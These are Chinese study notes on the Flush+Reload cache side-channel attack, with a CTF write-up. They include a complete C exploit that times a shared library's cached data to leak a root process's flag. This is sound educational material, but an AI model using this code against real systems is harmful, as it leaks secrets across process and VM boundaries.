flush+reload学习笔记

前言

flush+reload是一个基于prime+probe的LLC(Last-Level-Cache)侧信道攻击手法。它相比其它基于缓存的侧信道攻击手法的特点是,因为攻击利用LLC,所以被攻击程序(victim)和间谍程序(spy)可以运行在不同的核心中、虚拟化环境中,得到的结果分辨率高、噪声低。

本攻击手法适用于多种架构和操作系统环境。下面本文将介绍在x86_64架构下、linux系统的L3缓存侧信道攻击原理及实践。

前置知识

MFENCE、LFENCE

MFENCE指令用于序列化对内存的读取、写入顺序,LFENCE指令用于序列化指令的执行,从而避免乱序执行、并行执行导致测量代码段周围的指令在段内执行,从而影响测量时间的精确度。

RDTSC

RDTSC读取处理器的时间戳计数器(Time-Stamp Counter),得到一64位值,将其存储在EDX:EAX中。用于测量代码段的执行时间。

CLFLUSH

CLFLUSH(Cache Line Flush)指令用于将cache line中的数据刷新到内存中,以保证内存和缓存间的一致性。CLFLUSH指令有一个操作数,即指定的内存地址(通常是cache line的起始地址)。CLFLUSH指令会将该地址对应的cacheline中的数据刷新到内存中,从而使cache line中的对应数据被清除。在下一次访问同样的地址时,CPU会从内存中重新加载数据。

Page Sharing

在一些情况下,多个进程可能会共享相同的内存页,这样做主要有两个可能的原因。一、多个进程间通过共享内存实现进程间通信。二、多个进程拥有相同的内存内容(如执行相同可执行文件时,多个进程的.text段;动态库的代码段和数据段共享等),此时操作系统会将它们映射到同样的物理页框上,从而节省内存、提高性能。当一个进程修改了共享的内存页时,linux会通过“写时复制(Copy-on-Write)”机制创建一个新的私有副本,并将修改的内容赋值到新的页框中,从而避免影响到其他进程。

缓存结构

在x86架构下,从L3缓存中读取数据要比从内存中读取快得多,因此处理器会将最近使用的内存数据暂存在L3缓存中。

攻击原理

当系统中的两个进程(victim和spy)存在共享内存页时,若victim访问了页上的某个数据,这个数据会被加载到L3缓存中。我们通过spy测量加载某个地址的时间的长短,判断出victim访问的是不是这个地址。具体的过程可以分为以下三步:

  1. spy从缓存中清除某个地址的数据(flush)
  2. spy等待victim访问敏感数据
  3. spy重新加载这个地址的数据,测量读取消耗的时间(reload)

我们可以通过以下代码实现这个攻击

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
int probe(void* addr) {
volatile unsigned long time;
asm __volatile__ (
" mfence \n"
" lfence \n"
" rdtsc \n"
" lfence \n"
" movl %%eax, %%esi \n" //eax存储了时间戳计数器的后32位
" movl (%1), %%eax \n" //读取addr
" lfence \n"
" rdtsc \n"
" subl %%esi, %%eax \n" //将两次得到的时间相减,得到耗时
" clflush 0(%1) \n" //flush
: "=a" (time)
: "c" (addr)
: "%esi", "%edx"
);
return time;
}

例题

DASCTF 2023年6月 二进制专项赛 EasyStack_Ekko

前面拿到ssh的过程比较ez就不说了

分析靶机环境,root用户正在运行server,且我们作为普通用户没有server文件的访问权限。考虑使用侧信道攻击。

分析libfacenet.so,发现getEmojis()函数返回了共享库内部的.rodata段上的指针。显然这个内存页是会被多个加载了libfacenet的进程共享的。

分析server

1
2
3
4
5
6
7
8
9
10
strcpy(v7, "dasctf{xxx_xxxxxxx_xx_xxxx_xxxxx}");
Emojis = getEmojis(a1, a2);
for ( i = 0; ; ++i ) {
for ( j = 1; j <= 100; ++j ) {
v5 = Emojis[1000 * (i % 34) + 32 * (v7[i % 34] - '_')];
setlocale(6, "en_US.utf8");
printf("-------> %lc \n", v5);
}
usleep(10u);
}

server会根据flag读取Emojis不同位置的数据,并且不同位flag对应的数据之间相隔较远。每次读取之间都有usleep(10),提高了我们侧信道攻击的精确度。我们根据flush+reload写一个exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
#include <stdio.h>
#include <wchar.h>
#include <unistd.h>

extern wchar_t* getEmojis();


int probe(void* addr) {
volatile unsigned long time;
asm __volatile__ (
" mfence \n"
" lfence \n"
" rdtsc \n"
" lfence \n"
" movl %%eax, %%esi \n"
" movl (%1), %%eax \n"
" lfence \n"
" rdtsc \n"
" subl %%esi, %%eax \n"
" clflush 0(%1) \n"
: "=a" (time)
: "c" (addr)
: "%esi", "%edx"
);
return time ;
}
int test_outL3_time(void* addr) {
volatile unsigned long time;
asm __volatile__ (
" mfence \n"
" lfence \n"
" clflush 0(%0) \n"
:
: "c" (addr)
:
);
asm __volatile__ (
" mfence \n"
" lfence \n"
" rdtsc \n"
" lfence \n"
" movl %%eax, %%esi \n"
" movl (%1), %%eax \n"
" lfence \n"
" rdtsc \n"
" subl %%esi, %%eax \n"
" clflush 0(%1) \n"
: "=a" (time)
: "c" (addr)
: "%esi", "%edx"
);
return time ;
}

unsigned long outL3_time;
unsigned long inL3_time;
unsigned long average_cache_time;

void TestCache(){
wchar_t *emo=getEmojis();
for(int i=1;i<=1000;i++){
outL3_time+=test_outL3_time(emo);
wchar_t x=emo[160]; //读取后emo+160应该在L3缓存中
inL3_time+=probe((emo+160));
}
outL3_time/=1000;
inL3_time/=1000;
average_cache_time=(inL3_time+outL3_time)/2;
}

int main(){
TestCache();
printf("outL3_time=%ld\ninL3_time=%ld\naverage_cache_time=%ld\n",outL3_time,inL3_time,average_cache_time);

wchar_t *emo=getEmojis();

int flag[40][40]={0};

for(int i=7;i<=31;i++){
for(int j=0;j<=30;j++){
for(int t=0;t<5000;t++){
unsigned long cache_time=probe(emo+i*1000+j*32);
if(cache_time<average_cache_time){
printf("%d-%c---->%lu\n",i,j+'_',cache_time);
flag[i][j]++;
}
usleep(100); //等待server再次访问目标数据
}
printf("--------# %d %c over\n",i,j+'_');
}
printf("--------> %d over\n",i);
}

printf("\n===================\n");
for(int i=7;i<=31;i++){
for(int j=0;j<=30;j++){
if(flag[i][j]>=2)printf("%c",j+'_');
}
}
printf("\nDASCTF{");
for(int i=7;i<=31;i++){
int max_count=0;
char c='#';
for(int j=0;j<=30;j++){
if(flag[i][j]>max_count){
max_count=flag[i][j];
c=j+'_';
}
}
putchar(c);
}
puts("}");
return 0;
}

如果有位置没有探测到,换用测试次数更多的代码针对位置重新探测即可。最后得到flag

后记

这个攻击的思路比较显而易见,但是具体利用手法方面我也有没搞懂的地方(比如DASCTF那题的官方exp),若有疏漏欢迎指出

参考资料

FLUSH+RELOAD: a High Resolution, Low Noise, L3 Cache Side-Channel Attack

DASCTF官方wp